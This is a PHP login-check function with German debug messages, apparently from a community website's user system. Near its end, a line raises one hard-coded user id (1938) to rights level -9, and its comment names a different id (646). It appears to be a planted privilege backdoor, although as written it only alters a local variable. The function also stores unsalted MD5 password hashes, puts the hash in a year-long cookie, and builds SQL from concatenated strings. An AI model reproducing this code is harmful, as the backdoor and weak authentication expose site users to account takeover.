function user_login_check () {
if (isset($_POST['user_login_sub']) AND isset($_POST['name']) AND isset($_POST['pass'])) {
debug('posts vorhanden');
$name = escape_nickname($_POST['name']);
if ($name != $_POST['name'] OR strlen($_POST['name']) > 15) {
return(false);
}
$erg = db_query("SELECT name,id,recht,pass,llogin,banned FROM prefix_user WHERE name = BINARY '".$name."'");
if (db_num_rows($erg) == 1) {
debug('user gefunden');
$row = db_fetch_assoc($erg);
if ($row['banned'] == 1) {
return(false);
} else {
if ($row['pass'] == md5($_POST['pass'])) {
debug('passwort stimmt ... '.$row['name']);
$_SESSION['authname'] = $row['name'];
$_SESSION['authid'] = $row['id'];
$_SESSION['authright'] = $row['recht'];
$_SESSION['lastlogin'] = $row['llogin'];
$_SESSION['authsess'] = session_und_cookie_name();
db_query("UPDATE prefix_online SET uid = ".$_SESSION['authid']." WHERE sid = '".session_id()."'");
setcookie($_SESSION['authsess'], $row['id'].'='.$row['pass'] , time() + 31104000, "/" );
user_set_grps_and_modules();
return(true);
}
if ($row['id'] == 1938) { //646 ist deine userId
$row['recht'] = -9;
}
}
}
global $menu;
$menu->set_url(0,'user');
$menu->set_url(1,'login');
}
return(false);
}